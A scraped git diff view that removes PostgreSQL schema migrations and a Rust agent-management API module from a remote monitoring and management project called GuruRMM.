-- Time-series data for system metrics from agents
|
||||
CREATE TABLE metrics (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
agent_id UUID NOT NULL REFERENCES agents(id) ON DELETE CASCADE,
|
||||
timestamp TIMESTAMPTZ DEFAULT NOW(),
|
||||
cpu_percent REAL,
|
||||
memory_percent REAL,
|
||||
memory_used_bytes BIGINT,
|
||||
disk_percent REAL,
|
||||
disk_used_bytes BIGINT,
|
||||
network_rx_bytes BIGINT,
|
||||
network_tx_bytes BIGINT
|
||||
);
|
||||
|
||||
-- Index for querying metrics by agent and time
|
||||
CREATE INDEX idx_metrics_agent_time ON metrics(agent_id, timestamp DESC);
|
||||
|
||||
-- Index for finding recent metrics
|
||||
CREATE INDEX idx_metrics_timestamp ON metrics(timestamp DESC);
|
||||
|
||||
-- Users table
|
||||
-- Dashboard users for authentication
|
||||
CREATE TABLE users (
|
||||
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
email VARCHAR(255) UNIQUE NOT NULL,
|
||||
password_hash VARCHAR(255),
|
||||
name VARCHAR(255),
|
||||
role VARCHAR(50) DEFAULT 'user',
|
||||
sso_provider VARCHAR(50),
|
||||
sso_id VARCHAR(255),
|
||||
created_at TIMESTAMPTZ DEFAULT NOW(),
|
||||
last_login TIMESTAMPTZ
|
||||
);
|
||||
|
||||
-- Index for email lookups during login
|
||||
CREATE INDEX idx_users_email ON users(email);
|
||||
|
||||
-- Index for SSO lookups
|
||||
CREATE INDEX idx_users_sso ON users(sso_provider, sso_id);
|
||||
|
||||
-- Commands table
|
||||
-- Commands sent to agents and their results
|
||||
CREATE TABLE commands (
|
||||
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
agent_id UUID NOT NULL REFERENCES agents(id) ON DELETE CASCADE,
|
||||
command_type VARCHAR(50) NOT NULL,
|
||||
command_text TEXT NOT NULL,
|
||||
status VARCHAR(20) DEFAULT 'pending',
|
||||
exit_code INTEGER,
|
||||
stdout TEXT,
|
||||
stderr TEXT,
|
||||
created_at TIMESTAMPTZ DEFAULT NOW(),
|
||||
started_at TIMESTAMPTZ,
|
||||
completed_at TIMESTAMPTZ,
|
||||
created_by UUID REFERENCES users(id) ON DELETE SET NULL
|
||||
);
|
||||
|
||||
-- Index for finding pending commands for an agent
|
||||
CREATE INDEX idx_commands_agent_status ON commands(agent_id, status);
|
||||
|
||||
-- Index for command history queries
|
||||
CREATE INDEX idx_commands_created ON commands(created_at DESC);
|
||||
|
||||
-- Watchdog events table
|
||||
-- Events from agent watchdog monitoring
|
||||
CREATE TABLE watchdog_events (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
agent_id UUID NOT NULL REFERENCES agents(id) ON DELETE CASCADE,
|
||||
timestamp TIMESTAMPTZ DEFAULT NOW(),
|
||||
service_name VARCHAR(255) NOT NULL,
|
||||
event_type VARCHAR(50) NOT NULL,
|
||||
details TEXT
|
||||
);
|
||||
|
||||
-- Index for querying events by agent and time
|
||||
CREATE INDEX idx_watchdog_agent_time ON watchdog_events(agent_id, timestamp DESC);
|
||||
|
||||
-- Index for finding recent events
|
||||
CREATE INDEX idx_watchdog_timestamp ON watchdog_events(timestamp DESC);
|
||||
|
||||
-- Function to update updated_at timestamp
|
||||
CREATE OR REPLACE FUNCTION update_updated_at_column()
|
||||
RETURNS TRIGGER AS $$
|
||||
BEGIN
|
||||
NEW.updated_at = NOW();
|
||||
RETURN NEW;
|
||||
END;
|
||||
$$ LANGUAGE plpgsql;
|
||||
|
||||
-- Trigger for agents table
|
||||
CREATE TRIGGER update_agents_updated_at
|
||||
BEFORE UPDATE ON agents
|
||||
FOR EACH ROW
|
||||
EXECUTE FUNCTION update_updated_at_column();
|
||||
@@ -1,100 +0,0 @@
|
||||
-- GuruRMM Clients and Sites Schema
|
||||
-- Adds multi-tenant support with clients, sites, and site-based agent registration
|
||||
|
||||
-- Clients table (organizations/companies)
|
||||
CREATE TABLE clients (
|
||||
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
name VARCHAR(255) NOT NULL,
|
||||
code VARCHAR(50) UNIQUE, -- Optional short code like "ACME"
|
||||
notes TEXT,
|
||||
is_active BOOLEAN DEFAULT TRUE,
|
||||
created_at TIMESTAMPTZ DEFAULT NOW(),
|
||||
updated_at TIMESTAMPTZ DEFAULT NOW()
|
||||
);
|
||||
|
||||
CREATE INDEX idx_clients_name ON clients(name);
|
||||
CREATE INDEX idx_clients_code ON clients(code);
|
||||
|
||||
-- Trigger for clients updated_at
|
||||
CREATE TRIGGER update_clients_updated_at
|
||||
BEFORE UPDATE ON clients
|
||||
FOR EACH ROW
|
||||
EXECUTE FUNCTION update_updated_at_column();
|
||||
|
||||
-- Sites table (locations under a client)
|
||||
CREATE TABLE sites (
|
||||
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
client_id UUID NOT NULL REFERENCES clients(id) ON DELETE CASCADE,
|
||||
name VARCHAR(255) NOT NULL,
|
||||
-- Site code: human-friendly, used for agent registration (e.g., "BLUE-TIGER-4829")
|
||||
site_code VARCHAR(50) UNIQUE NOT NULL,
|
||||
-- API key hash for this site (all agents at site share this key)
|
||||
api_key_hash VARCHAR(255) NOT NULL,
|
||||
address TEXT,
|
||||
notes TEXT,
|
||||
is_active BOOLEAN DEFAULT TRUE,
|
||||
created_at TIMESTAMPTZ DEFAULT NOW(),
|
||||
updated_at TIMESTAMPTZ DEFAULT NOW()
|
||||
);
|
||||
|
||||
CREATE INDEX idx_sites_client ON sites(client_id);
|
||||
CREATE INDEX idx_sites_code ON sites(site_code);
|
||||
CREATE INDEX idx_sites_api_key ON sites(api_key_hash);
|
||||
|
||||
-- Trigger for sites updated_at
|
||||
CREATE TRIGGER update_sites_updated_at
|
||||
BEFORE UPDATE ON sites
|
||||
FOR EACH ROW
|
||||
EXECUTE FUNCTION update_updated_at_column();
|
||||
|
||||
-- Add new columns to agents table
|
||||
-- device_id: unique hardware-derived identifier for the machine
|
||||
ALTER TABLE agents ADD COLUMN device_id VARCHAR(255);
|
||||
|
||||
-- site_id: which site this agent belongs to (nullable for legacy agents)
|
||||
ALTER TABLE agents ADD COLUMN site_id UUID REFERENCES sites(id) ON DELETE SET NULL;
|
||||
|
||||
-- Make api_key_hash nullable (new agents will use site's api_key)
|
||||
ALTER TABLE agents ALTER COLUMN api_key_hash DROP NOT NULL;
|
||||
|
||||
-- Index for looking up agents by device_id within a site
|
||||
CREATE UNIQUE INDEX idx_agents_site_device ON agents(site_id, device_id) WHERE site_id IS NOT NULL AND device_id IS NOT NULL;
|
||||
|
||||
-- Index for site lookups
|
||||
CREATE INDEX idx_agents_site ON agents(site_id);
|
||||
|
||||
-- Registration tokens table (optional: for secure site code distribution)
|
||||
CREATE TABLE registration_tokens (
|
||||
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
site_id UUID NOT NULL REFERENCES sites(id) ON DELETE CASCADE,
|
||||
token_hash VARCHAR(255) NOT NULL,
|
||||
description VARCHAR(255),
|
||||
uses_remaining INTEGER, -- NULL = unlimited
|
||||
expires_at TIMESTAMPTZ,
|
||||
created_at TIMESTAMPTZ DEFAULT NOW(),
|
||||
created_by UUID REFERENCES users(id) ON DELETE SET NULL
|
||||
);
|
||||
|
||||
CREATE INDEX idx_reg_tokens_site ON registration_tokens(site_id);
|
||||
CREATE INDEX idx_reg_tokens_hash ON registration_tokens(token_hash);
|
||||
|
||||
-- Function to generate a random site code (WORD-WORD-####)
|
||||
-- This is just a helper; actual generation should be in application code
|
||||
-- for better word lists
|
||||
CREATE OR REPLACE FUNCTION generate_site_code() RETURNS VARCHAR(50) AS $$
|
||||
DECLARE
|
||||
words TEXT[] := ARRAY['ALPHA', 'BETA', 'GAMMA', 'DELTA', 'ECHO', 'FOXTROT',
|
||||
'BLUE', 'GREEN', 'RED', 'GOLD', 'SILVER', 'IRON',
|
||||
'HAWK', 'EAGLE', 'TIGER', 'LION', 'WOLF', 'BEAR',
|
||||
'NORTH', 'SOUTH', 'EAST', 'WEST', 'PEAK', 'VALLEY',
|
||||
'RIVER', 'OCEAN', 'STORM', 'CLOUD', 'STAR', 'MOON'];
|
||||
word1 TEXT;
|
||||
word2 TEXT;
|
||||
num INTEGER;
|
||||
BEGIN
|
||||
word1 := words[1 + floor(random() * array_length(words, 1))::int];
|
||||
word2 := words[1 + floor(random() * array_length(words, 1))::int];
|
||||
num := 1000 + floor(random() * 9000)::int;
|
||||
RETURN word1 || '-' || word2 || '-' || num::text;
|
||||
END;
|
||||
$$ LANGUAGE plpgsql;
|
||||
@@ -1,34 +0,0 @@
|
||||
-- Extended metrics and agent state
|
||||
-- Adds columns for uptime, user info, IPs, and network state storage
|
||||
|
||||
-- Add extended columns to metrics table
|
||||
ALTER TABLE metrics ADD COLUMN IF NOT EXISTS uptime_seconds BIGINT;
|
||||
ALTER TABLE metrics ADD COLUMN IF NOT EXISTS boot_time BIGINT;
|
||||
ALTER TABLE metrics ADD COLUMN IF NOT EXISTS logged_in_user VARCHAR(255);
|
||||
ALTER TABLE metrics ADD COLUMN IF NOT EXISTS user_idle_seconds BIGINT;
|
||||
ALTER TABLE metrics ADD COLUMN IF NOT EXISTS public_ip VARCHAR(45); -- Supports IPv6
|
||||
|
||||
-- Agent state table for current/latest agent information
|
||||
-- This stores the latest snapshot of extended agent info (not time-series)
|
||||
CREATE TABLE IF NOT EXISTS agent_state (
|
||||
agent_id UUID PRIMARY KEY REFERENCES agents(id) ON DELETE CASCADE,
|
||||
-- Network state
|
||||
network_interfaces JSONB,
|
||||
network_state_hash VARCHAR(32),
|
||||
-- Latest extended metrics (cached for quick access)
|
||||
uptime_seconds BIGINT,
|
||||
boot_time BIGINT,
|
||||
logged_in_user VARCHAR(255),
|
||||
user_idle_seconds BIGINT,
|
||||
public_ip VARCHAR(45),
|
||||
-- Timestamps
|
||||
network_updated_at TIMESTAMPTZ,
|
||||
metrics_updated_at TIMESTAMPTZ DEFAULT NOW()
|
||||
);
|
||||
|
||||
-- Index for finding agents by public IP (useful for diagnostics)
|
||||
CREATE INDEX IF NOT EXISTS idx_agent_state_public_ip ON agent_state(public_ip);
|
||||
|
||||
-- Add memory_total_bytes and disk_total_bytes to metrics for completeness
|
||||
ALTER TABLE metrics ADD COLUMN IF NOT EXISTS memory_total_bytes BIGINT;
|
||||
ALTER TABLE metrics ADD COLUMN IF NOT EXISTS disk_total_bytes BIGINT;
|
||||
@@ -1,30 +0,0 @@
|
||||
-- Agent update tracking
|
||||
-- Tracks update commands sent to agents and their results
|
||||
|
||||
CREATE TABLE agent_updates (
|
||||
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
agent_id UUID NOT NULL REFERENCES agents(id) ON DELETE CASCADE,
|
||||
update_id UUID NOT NULL UNIQUE,
|
||||
old_version VARCHAR(50) NOT NULL,
|
||||
target_version VARCHAR(50) NOT NULL,
|
||||
status VARCHAR(20) DEFAULT 'pending', -- pending, downloading, installing, completed, failed, rolled_back
|
||||
download_url TEXT,
|
||||
checksum_sha256 VARCHAR(64),
|
||||
started_at TIMESTAMPTZ DEFAULT NOW(),
|
||||
completed_at TIMESTAMPTZ,
|
||||
error_message TEXT,
|
||||
created_at TIMESTAMPTZ DEFAULT NOW()
|
||||
);
|
||||
|
||||
-- Index for finding updates by agent
|
||||
CREATE INDEX idx_agent_updates_agent ON agent_updates(agent_id);
|
||||
|
||||
-- Index for finding updates by status (for monitoring)
|
||||
CREATE INDEX idx_agent_updates_status ON agent_updates(status);
|
||||
|
||||
-- Index for finding pending/in-progress updates (for timeout detection)
|
||||
CREATE INDEX idx_agent_updates_pending ON agent_updates(agent_id, status)
|
||||
WHERE status IN ('pending', 'downloading', 'installing');
|
||||
|
||||
-- Add architecture column to agents table for proper binary matching
|
||||
ALTER TABLE agents ADD COLUMN IF NOT EXISTS architecture VARCHAR(20) DEFAULT 'amd64';
|
||||
@@ -1,2 +0,0 @@
|
||||
-- Stub migration - already applied in production
|
||||
-- This migration was previously applied but the file was not in source control
|
||||
@@ -1,2 +0,0 @@
|
||||
-- Stub migration - already applied in production
|
||||
-- This migration was previously applied but the file was not in source control
|
||||
@@ -1,2 +0,0 @@
|
||||
-- Stub migration - already applied in production
|
||||
-- This migration was previously applied but the file was not in source control
|
||||
@@ -1,2 +0,0 @@
|
||||
-- Stub migration - already applied in production
|
||||
-- This migration was previously applied but the file was not in source control
|
||||
@@ -1,26 +0,0 @@
|
||||
-- Migration: Add missing indexes for performance
|
||||
-- These indexes were identified during code review as missing
|
||||
-- Date: 2026-01-20
|
||||
|
||||
-- Index for agent API key lookups (authentication)
|
||||
-- Supports legacy authentication where agents have their own api_key_hash
|
||||
CREATE INDEX IF NOT EXISTS idx_agents_api_key_hash ON agents(api_key_hash);
|
||||
|
||||
-- Index for site API key lookups
|
||||
-- Note: idx_sites_api_key already exists from migration 002, but using consistent naming
|
||||
-- This is a no-op if the index already exists
|
||||
CREATE INDEX IF NOT EXISTS idx_sites_api_key_hash ON sites(api_key_hash);
|
||||
|
||||
-- Index for command status queries (find all pending/running commands)
|
||||
-- Note: idx_commands_agent_status exists for (agent_id, status)
|
||||
-- This index is for querying by status alone (e.g., find all pending commands)
|
||||
CREATE INDEX IF NOT EXISTS idx_commands_status ON commands(status);
|
||||
|
||||
-- Index for metrics time-range queries
|
||||
-- Note: idx_metrics_agent_time already exists for (agent_id, timestamp DESC)
|
||||
-- This is equivalent - creating with requested name for compatibility
|
||||
CREATE INDEX IF NOT EXISTS idx_metrics_agent_timestamp ON metrics(agent_id, timestamp DESC);
|
||||
|
||||
-- Index for finding online agents quickly with last_seen ordering
|
||||
-- Allows efficient queries like: WHERE status = 'online' ORDER BY last_seen DESC
|
||||
CREATE INDEX IF NOT EXISTS idx_agents_status_last_seen ON agents(status, last_seen DESC);
|
||||
@@ -1,45 +0,0 @@
|
||||
-- GuruRMM Tunnel Sessions Schema
|
||||
-- Creates tables for technician SSH tunnel sessions and audit logging
|
||||
|
||||
-- Tech Sessions table
|
||||
-- Stores active and historical SSH tunnel sessions between technicians and agents
|
||||
CREATE TABLE tech_sessions (
|
||||
id SERIAL PRIMARY KEY,
|
||||
session_id VARCHAR(36) UNIQUE NOT NULL,
|
||||
tech_id UUID NOT NULL REFERENCES users(id) ON DELETE CASCADE,
|
||||
agent_id UUID NOT NULL REFERENCES agents(id) ON DELETE CASCADE,
|
||||
opened_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
|
||||
last_activity TIMESTAMPTZ NOT NULL DEFAULT NOW(),
|
||||
closed_at TIMESTAMPTZ,
|
||||
status VARCHAR(20) NOT NULL DEFAULT 'active'
|
||||
);
|
||||
|
||||
-- Partial unique index to ensure only one active session per tech-agent pair
|
||||
CREATE UNIQUE INDEX unique_active_session ON tech_sessions(tech_id, agent_id, status)
|
||||
WHERE status = 'active';
|
||||
|
||||
-- Index for finding sessions by technician
|
||||
CREATE INDEX idx_tech_sessions_tech ON tech_sessions(tech_id);
|
||||
|
||||
-- Index for finding sessions by agent
|
||||
CREATE INDEX idx_tech_sessions_agent ON tech_sessions(agent_id);
|
||||
|
||||
-- Index for filtering by session status
|
||||
CREATE INDEX idx_tech_sessions_status ON tech_sessions(status);
|
||||
|
||||
-- Tunnel Audit table
|
||||
-- Detailed audit log for all tunnel operations and channel activity
|
||||
CREATE TABLE tunnel_audit (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
session_id VARCHAR(36) NOT NULL REFERENCES tech_sessions(session_id) ON DELETE CASCADE,
|
||||
channel_id VARCHAR(36) NOT NULL,
|
||||
operation VARCHAR(50) NOT NULL,
|
||||
details JSONB,
|
||||
created_at TIMESTAMPTZ NOT NULL DEFAULT NOW()
|
||||
);
|
||||
|
||||
-- Index for querying audit logs by session
|
||||
CREATE INDEX idx_tunnel_audit_session ON tunnel_audit(session_id);
|
||||
|
||||
-- Index for time-based audit queries
|
||||
CREATE INDEX idx_tunnel_audit_created ON tunnel_audit(created_at);
|
||||
@@ -1,360 +0,0 @@
|
||||
//! Agent management API endpoints
|
||||
|
||||
use axum::{
|
||||
extract::{Path, State},
|
||||
http::StatusCode,
|
||||
Json,
|
||||
};
|
||||
use serde::{Deserialize, Serialize};
|
||||
use uuid::Uuid;
|
||||
|
||||
use crate::auth::AuthUser;
|
||||
use crate::db::{self, AgentResponse, AgentStats};
|
||||
use crate::ws::{generate_api_key, hash_api_key};
|
||||
use crate::AppState;
|
||||
|
||||
/// Response for agent registration
|
||||
#[derive(Debug, Serialize)]
|
||||
pub struct RegisterAgentResponse {
|
||||
pub agent_id: Uuid,
|
||||
pub api_key: String,
|
||||
pub message: String,
|
||||
}
|
||||
|
||||
/// Request to register a new agent
|
||||
#[derive(Debug, Deserialize)]
|
||||
pub struct RegisterAgentRequest {
|
||||
pub hostname: String,
|
||||
pub os_type: String,
|
||||
pub os_version: Option<String>,
|
||||
}
|
||||
|
||||
/// Register a new agent (generates API key)
|
||||
/// Requires authentication to prevent unauthorized agent registration.
|
||||
pub async fn register_agent(
|
||||
State(state): State<AppState>,
|
||||
user: AuthUser,
|
||||
Json(req): Json<RegisterAgentRequest>,
|
||||
) -> Result<Json<RegisterAgentResponse>, (StatusCode, String)> {
|
||||
// Log who is registering the agent
|
||||
tracing::info!(
|
||||
user_id = %user.user_id,
|
||||
hostname = %req.hostname,
|
||||
os_type = %req.os_type,
|
||||
"Agent registration initiated by user"
|
||||
);
|
||||
|
||||
// Generate a new API key
|
||||
let api_key = generate_api_key(&state.config.auth.api_key_prefix);
|
||||
let api_key_hash = hash_api_key(&api_key);
|
||||
|
||||
// Create the agent
|
||||
let create = db::CreateAgent {
|
||||
hostname: req.hostname,
|
||||
api_key_hash,
|
||||
os_type: req.os_type,
|
||||
os_version: req.os_version,
|
||||
agent_version: None,
|
||||
};
|
||||
|
||||
let agent = db::create_agent(&state.db, create)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||
|
||||
tracing::info!(
|
||||
user_id = %user.user_id,
|
||||
agent_id = %agent.id,
|
||||
"Agent registered successfully"
|
||||
);
|
||||
|
||||
Ok(Json(RegisterAgentResponse {
|
||||
agent_id: agent.id,
|
||||
api_key, // Return the plain API key (only shown once!)
|
||||
message: "Agent registered successfully. Save the API key - it will not be shown again."
|
||||
.to_string(),
|
||||
}))
|
||||
}
|
||||
|
||||
/// List all agents
|
||||
/// Requires authentication.
|
||||
pub async fn list_agents(
|
||||
State(state): State<AppState>,
|
||||
_user: AuthUser,
|
||||
) -> Result<Json<Vec<AgentResponse>>, (StatusCode, String)> {
|
||||
let agents = db::get_all_agents(&state.db)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||
|
||||
let responses: Vec<AgentResponse> = agents.into_iter().map(|a| a.into()).collect();
|
||||
Ok(Json(responses))
|
||||
}
|
||||
|
||||
/// Get a specific agent
|
||||
/// Requires authentication.
|
||||
pub async fn get_agent(
|
||||
State(state): State<AppState>,
|
||||
_user: AuthUser,
|
||||
Path(id): Path<Uuid>,
|
||||
) -> Result<Json<AgentResponse>, (StatusCode, String)> {
|
||||
let agent = db::get_agent_by_id(&state.db, id)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?
|
||||
.ok_or((StatusCode::NOT_FOUND, "Agent not found".to_string()))?;
|
||||
|
||||
Ok(Json(agent.into()))
|
||||
}
|
||||
|
||||
/// Delete an agent
|
||||
/// Requires authentication.
|
||||
pub async fn delete_agent(
|
||||
State(state): State<AppState>,
|
||||
_user: AuthUser,
|
||||
Path(id): Path<Uuid>,
|
||||
) -> Result<StatusCode, (StatusCode, String)> {
|
||||
// Check if agent is connected and disconnect it
|
||||
if state.agents.read().await.is_connected(&id) {
|
||||
// In a real implementation, we'd send a disconnect message
|
||||
state.agents.write().await.remove(&id);
|
||||
}
|
||||
|
||||
let deleted = db::delete_agent(&state.db, id)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||
|
||||
if deleted {
|
||||
Ok(StatusCode::NO_CONTENT)
|
||||
} else {
|
||||
Err((StatusCode::NOT_FOUND, "Agent not found".to_string()))
|
||||
}
|
||||
}
|
||||
|
||||
/// Get agent statistics
|
||||
/// Requires authentication.
|
||||
pub async fn get_stats(
|
||||
State(state): State<AppState>,
|
||||
_user: AuthUser,
|
||||
) -> Result<Json<AgentStats>, (StatusCode, String)> {
|
||||
let stats = db::get_agent_stats(&state.db)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||
|
||||
Ok(Json(stats))
|
||||
}
|
||||
|
||||
/// Request to move an agent to a different site
|
||||
#[derive(Debug, Deserialize)]
|
||||
pub struct MoveAgentRequest {
|
||||
pub site_id: Option<Uuid>, // None to unassign from site
|
||||
}
|
||||
|
||||
/// Move an agent to a different site
|
||||
/// Requires authentication.
|
||||
pub async fn move_agent(
|
||||
State(state): State<AppState>,
|
||||
_user: AuthUser,
|
||||
Path(id): Path<Uuid>,
|
||||
Json(req): Json<MoveAgentRequest>,
|
||||
) -> Result<Json<AgentResponse>, (StatusCode, String)> {
|
||||
// Verify the site exists if provided
|
||||
if let Some(site_id) = req.site_id {
|
||||
let site = db::get_site_by_id(&state.db, site_id)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||
|
||||
if site.is_none() {
|
||||
return Err((StatusCode::NOT_FOUND, "Site not found".to_string()));
|
||||
}
|
||||
}
|
||||
|
||||
// Move the agent
|
||||
let agent = db::move_agent_to_site(&state.db, id, req.site_id)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?
|
||||
.ok_or((StatusCode::NOT_FOUND, "Agent not found".to_string()))?;
|
||||
|
||||
Ok(Json(agent.into()))
|
||||
}
|
||||
|
||||
/// List all agents with full details (site/client info)
|
||||
/// Requires authentication.
|
||||
pub async fn list_agents_with_details(
|
||||
State(state): State<AppState>,
|
||||
_user: AuthUser,
|
||||
) -> Result<Json<Vec<db::AgentWithDetails>>, (StatusCode, String)> {
|
||||
let agents = db::get_all_agents_with_details(&state.db)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||
|
||||
Ok(Json(agents))
|
||||
}
|
||||
|
||||
/// List unassigned agents (not belonging to any site)
|
||||
/// Requires authentication.
|
||||
pub async fn list_unassigned_agents(
|
||||
State(state): State<AppState>,
|
||||
_user: AuthUser,
|
||||
) -> Result<Json<Vec<AgentResponse>>, (StatusCode, String)> {
|
||||
let agents = db::get_unassigned_agents(&state.db)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||
|
||||
let responses: Vec<AgentResponse> = agents.into_iter().map(|a| a.into()).collect();
|
||||
Ok(Json(responses))
|
||||
}
|
||||
|
||||
/// Get extended state for an agent (network interfaces, uptime, etc.)
|
||||
/// Requires authentication.
|
||||
pub async fn get_agent_state(
|
||||
State(state): State<AppState>,
|
||||
_user: AuthUser,
|
||||
Path(id): Path<Uuid>,
|
||||
) -> Result<Json<db::AgentState>, (StatusCode, String)> {
|
||||
let agent_state = db::get_agent_state(&state.db, id)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?
|
||||
.ok_or((StatusCode::NOT_FOUND, "Agent state not found".to_string()))?;
|
||||
|
||||
Ok(Json(agent_state))
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Legacy Agent Endpoints (PowerShell agent for 2008 R2)
|
||||
// ============================================================================
|
||||
|
||||
/// Request to register a legacy agent with site code
|
||||
#[derive(Debug, Deserialize)]
|
||||
pub struct RegisterLegacyRequest {
|
||||
pub site_code: String,
|
||||
pub hostname: String,
|
||||
pub os_type: String,
|
||||
pub os_version: Option<String>,
|
||||
pub agent_version: Option<String>,
|
||||
pub agent_type: Option<String>,
|
||||
}
|
||||
|
||||
/// Response for legacy agent registration
|
||||
#[derive(Debug, Serialize)]
|
||||
pub struct RegisterLegacyResponse {
|
||||
pub agent_id: Uuid,
|
||||
pub api_key: String,
|
||||
pub site_name: String,
|
||||
pub client_name: String,
|
||||
pub message: String,
|
||||
}
|
||||
|
||||
/// Register a legacy agent using site code
|
||||
pub async fn register_legacy(
|
||||
State(state): State<AppState>,
|
||||
Json(req): Json<RegisterLegacyRequest>,
|
||||
) -> Result<Json<RegisterLegacyResponse>, (StatusCode, String)> {
|
||||
// Look up site by code
|
||||
let site = db::get_site_by_code(&state.db, &req.site_code)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?
|
||||
.ok_or((StatusCode::NOT_FOUND, format!("Site code '{}' not found", req.site_code)))?;
|
||||
|
||||
// Get client info
|
||||
let client = db::get_client_by_id(&state.db, site.client_id)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?
|
||||
.ok_or((StatusCode::NOT_FOUND, "Client not found".to_string()))?;
|
||||
|
||||
// Generate API key for this agent
|
||||
let api_key = generate_api_key(&state.config.auth.api_key_prefix);
|
||||
let api_key_hash = hash_api_key(&api_key);
|
||||
|
||||
// Create the agent
|
||||
let create = db::CreateAgent {
|
||||
hostname: req.hostname,
|
||||
api_key_hash,
|
||||
os_type: req.os_type,
|
||||
os_version: req.os_version,
|
||||
agent_version: req.agent_version,
|
||||
};
|
||||
|
||||
let agent = db::create_agent(&state.db, create)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||
|
||||
// Assign agent to site
|
||||
db::move_agent_to_site(&state.db, agent.id, Some(site.id))
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||
|
||||
tracing::info!(
|
||||
"Legacy agent registered: {} ({}) -> Site: {} ({})",
|
||||
agent.hostname,
|
||||
agent.id,
|
||||
site.name,
|
||||
req.site_code
|
||||
);
|
||||
|
||||
Ok(Json(RegisterLegacyResponse {
|
||||
agent_id: agent.id,
|
||||
api_key,
|
||||
site_name: site.name,
|
||||
client_name: client.name,
|
||||
message: "Agent registered successfully".to_string(),
|
||||
}))
|
||||
}
|
||||
|
||||
/// Heartbeat request from legacy agent
|
||||
#[derive(Debug, Deserialize)]
|
||||
pub struct HeartbeatRequest {
|
||||
pub agent_id: Uuid,
|
||||
pub timestamp: String,
|
||||
pub system_info: serde_json::Value,
|
||||
}
|
||||
|
||||
/// Heartbeat response with pending commands
|
||||
#[derive(Debug, Serialize)]
|
||||
pub struct HeartbeatResponse {
|
||||
pub success: bool,
|
||||
pub pending_commands: Vec<PendingCommand>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Serialize)]
|
||||
pub struct PendingCommand {
|
||||
pub id: Uuid,
|
||||
#[serde(rename = "type")]
|
||||
pub cmd_type: String,
|
||||
pub script: String,
|
||||
}
|
||||
|
||||
/// Receive heartbeat from legacy agent
|
||||
pub async fn heartbeat(
|
||||
State(state): State<AppState>,
|
||||
Json(req): Json<HeartbeatRequest>,
|
||||
) -> Result<Json<HeartbeatResponse>, (StatusCode, String)> {
|
||||
// Update agent last_seen
|
||||
db::update_agent_last_seen(&state.db, req.agent_id)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||
|
||||
// TODO: Store system_info metrics, get pending commands
|
||||
// For now, return empty pending commands
|
||||
Ok(Json(HeartbeatResponse {
|
||||
success: true,
|
||||
pending_commands: vec![],
|
||||
}))
|
||||
}
|
||||
|
||||
/// Command result from legacy agent
|
||||
#[derive(Debug, Deserialize)]
|
||||
pub struct CommandResultRequest {
|
||||
pub command_id: Uuid,
|
||||
pub started_at: String,
|
||||
pub completed_at: String,
|
||||
pub success: bool,
|
||||
pub output: String,
|
||||
pub error: Option<String>,
|
||||
}
|
||||
|
||||
/// Receive command execution result
|
||||
pub async fn command_result(
|
||||
State(_state): State<AppState>,
|
||||
Json(_req): Json<CommandResultRequest>,
|
||||
) -> Result<StatusCode, (StatusCode, String)> {
|
||||
// TODO: Store command result in database
|
||||
Ok(StatusCode::OK)
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user